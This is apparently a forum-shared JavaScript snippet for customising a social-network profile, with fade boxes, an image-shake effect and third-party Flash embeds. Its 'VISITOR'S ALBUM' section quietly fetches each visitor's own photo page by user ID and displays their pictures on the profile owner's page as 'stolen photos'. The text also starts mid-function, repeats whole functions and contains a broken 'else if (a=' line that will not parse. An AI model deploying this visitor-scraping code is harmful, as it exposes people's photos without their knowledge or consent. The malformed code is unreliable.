fadeOut();
if (CBE.IEbugfix) {showSelects();}
CBE=null;
}
}
function pauseBox(e) {
e?evt=e:evt=event;
boxMove=false;
evt.cancelBubble=true;
}
function showHideBox(e) {
oDv.style.visibility=(oDv.style.visibility!='visible')?'visible':'hidden';
}
function hideBox(e) {
oDv.style.visibility='hidden';
}
var COL=0;
var stopfade=false;
function fadeIn(fs) {
ID=null;
COL=0;
oDv.style.visibility='visible';
fadeIn2(fs);
}
function fadeIn2(fs) {
COL=COL+fs;
COL=(COL>1)?1:COL;
oDv.style.filter='alpha(opacity='+parseInt(100*COL)+')';
oDv.style.opacity=COL;
if (COL<1)
setTimeout("fadeIn2("+fs+")",20);
}
function fadeOut() {
oDv.style.visibility='hidden';
}
function isChild(s,d) {
while(s) {
if (s==d)
return true;
s=s.parentNode;
}
return false;
}
var cSrc;
function checkMove(e) {
e?evt=e:evt=event;
cSrc=evt.target?evt.target:evt.srcElement;
if ((!boxMove)&&(!isChild(cSrc,oDv))) {
fadeOut();
if (CBE&&CBE.IEbugfix) {showSelects();}
boxMove=true;
CBE=null;
}
}
function showSelects(){
var elements = document.getElementsByTagName("select");
for (i=0;i< elements.length;i++){
elements[i].style.visibility='visible';
}
}
function hideSelects(){
var elements = document.getElementsByTagName("select");
for (i=0;i< elements.length;i++){
elements[i].style.visibility='hidden';
}
}
/****************************************
Shake image script (onMouseover)-
Dynamic Drive (
www.dynamicdrive.com)
For full source code, usage terms, and 100's more DHTML scripts, visit
http://dynamicdrive.com
*****************************************/
//configure shake degree (where larger # equals greater shake)
var rector=3
///////DONE EDITTING///////////
var stopit=0
var a=1
function initshake(which){
stopit=0
shake=which
shake.style.left=0
shake.style.top=0
}
function rattleimage(){
if ((!document.all&&!document.getElementById)||stopit==1)
return
if (a==1){
shake.style.top=parseInt(shake.style.top)+rector
}
else if (a==2){
shake.style.left=parseInt(shake.style.left)+rector
}
else if (a=
){
shake.style.top=parseInt(shake.style.top)-rector
}
else{
shake.style.left=parseInt(shake.style.left)-rector
}
if (a<4)
a++
else
a=1
setTimeout("rattleimage()",50)
}
function stoprattle(which){
stopit=1
which.style.left=0
which.style.top=0
}
shakedapic("1");// untuk penulisan photo box
function shakedapic(boxid,kelipatan){
/*
IMAGES SHAKER by nopathz :
*/
var img2shake=document.getElementById("content_"+boxid).getElementsByTagName("img");
if (kelipatan==null) kelipatan=1;
for (i=0;i<img2shake.length;i=i+kelipatan) {
getsrc=img2shake[i].getAttribute("src");
dosrc=document.getElementById("content_"+boxid).getElementsByTagName("a")[i];
img2shake[i].parentNode.innerHTML="<img src='"+getsrc+"' class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()'>";
}
}
var rector=3
var stopit=0
var a=1
function initshake(which){
stopit=0
shake=which
shake.style.left=0
shake.style.top=0
}
function rattleimage(){
if ((!document.all&&!document.getElementById)||stopit==1)
return
if (a==1){
shake.style.top=parseInt(shake.style.top)+rector
}
else if (a==2){
shake.style.left=parseInt(shake.style.left)+rector
}
else if (a=
){
shake.style.top=parseInt(shake.style.top)-rector
}
else{
shake.style.left=parseInt(shake.style.left)-rector
}
if (a<4)
a++
else
a=1
setTimeout("rattleimage()",50)
}
function stoprattle(which){
stopit=1
which.style.left=0
which.style.top=0
}
function getElementsByClassName(strClass, strTag, objContElm) {
strTag = strTag || "*";
objContElm = objContElm || document;
var objColl = objContElm.getElementsByTagName(strTag);
if (!objColl.length && strTag == "*" && objContElm.all) objColl = objContElm.all;
var arr = new Array();
var delim = strClass.indexOf('|') != -1 ? '|' : ' ';
var arrClass = strClass.split(delim);
for (var i = 0, j = objColl.length; i < j; i++) {
var arrObjClass = objColl[i].className.split(' ');
if (delim == ' ' && arrClass.length > arrObjClass.length) continue;
var c = 0;
comparisonLoop:
for (var k = 0, l = arrObjClass.length; k < l; k++) {
for (var m = 0, n = arrClass.length; m < n; m++) {
if (arrClass[m] == arrObjClass[k]) c++;
if (( delim == '|' && c == 1) || (delim == ' ' && c == arrClass.length)) {
arr.push(objColl[i]);
break comparisonLoop;
}
}
}
}
return arr;
}
// VISITOR'S ALBUM
VA = {};
(function() {
VA = {
info: {
album: null
},
regexp: {
album: /id="photogallery">([\S\s]*?)<\/div>\s*<\/div>\s*<div\s*class="rc">/i
},
init: function() {
try {
ajaxRequest("GET", "http://" + location.hostname + "/viewphotos.php?a=0&uid=" + pageViewerID , true, null, VA.viewer, null);
} catch(e) {}
},
viewer: function(myfriend) {
if (myfriend.replace(/^\s*|\s*$/g, "") === "") {
alert("Error: Unable to parse user details!");
return;
} else if (myfriend) {
for (var val in VA.info) {
try {
VA.info[val] = new RegExp(VA.regexp[val]).exec(myfriend)[1].replace(/^(\d)$/, "0$1");
} catch(e) {
VA.info[val] = "";
}
}
visitoralbum="<div class='flogrid75'>"+VA.info.album.replace(/photothumb/gi,"flogriditem").replace(/m.jpg/gi,"t.jpg");
addBox("LEFT","Foto-Foto Hasil Nyolong",visitoralbum,"visitoralbum","0");
}
}
};
})();
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") VA.init();
var h;
h=document.getElementById("controlpanel_header");
h.innerHTML="<div align='center'><object width='450' height='100'><param name='movie' value='http://h1.ripway.com/lambokinsite/flash/navigation.swf'><embed src='http://h1.ripway.com/lambokinsite/flash/navigation.swf' width='450' height='100' wmode='transparent'></embed></object></div>";
h=document.getElementById("1").getElementsByTagName("h2")[0];
h.innerHTML="<div align='right'><object width='100' height='100'><param name='movie' value='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif'><embed src='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif' width='100' height='100' wmode='transparent'></embed></object></div>";
h=document.getElementById("2").getElementsByTagName("h2")[0];
h.innerHTML="<div align='right'><object width='100' height='100'><param name='movie' value='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif'><embed src='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif' width='100' height='100' wmode='transparent'></embed></object></div>";
h=document.getElementById("13").getElementsByTagName("h2")[0];
h.innerHTML="<div align='right'><object width='450' height='100'><param name='movie' value='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif'><embed src='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif' width='100' height='100' wmode='transparent'></embed></object></div>";
h=document.getElementById("6").getElementsByTagName("h2")[0];
h.innerHTML="<div align='right'><object width='450' height='100'><param name='movie' value='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif'><embed src='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif' width='100' height='100' wmode='transparent'></embed></object></div>";
h=document.getElementById("8").getElementsByTagName("h2")[0];
h.innerHTML="<div align='right'><object width='450' height='100'><param name='movie' value='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif'><embed src='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif' width='100' height='100' wmode='transparent'></embed></object></div>";
h=document.getElementById("18").getElementsByTagName("h2")[0];
h.innerHTML="<div align='right'><object width='450' height='100'><param name='movie' value='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif'><embed src='http://andha.fileave.com/fssummer/addon/bgroundphoto.gif' width='100' height='100' wmode='transparent'></embed></object></div>";[/spoiler]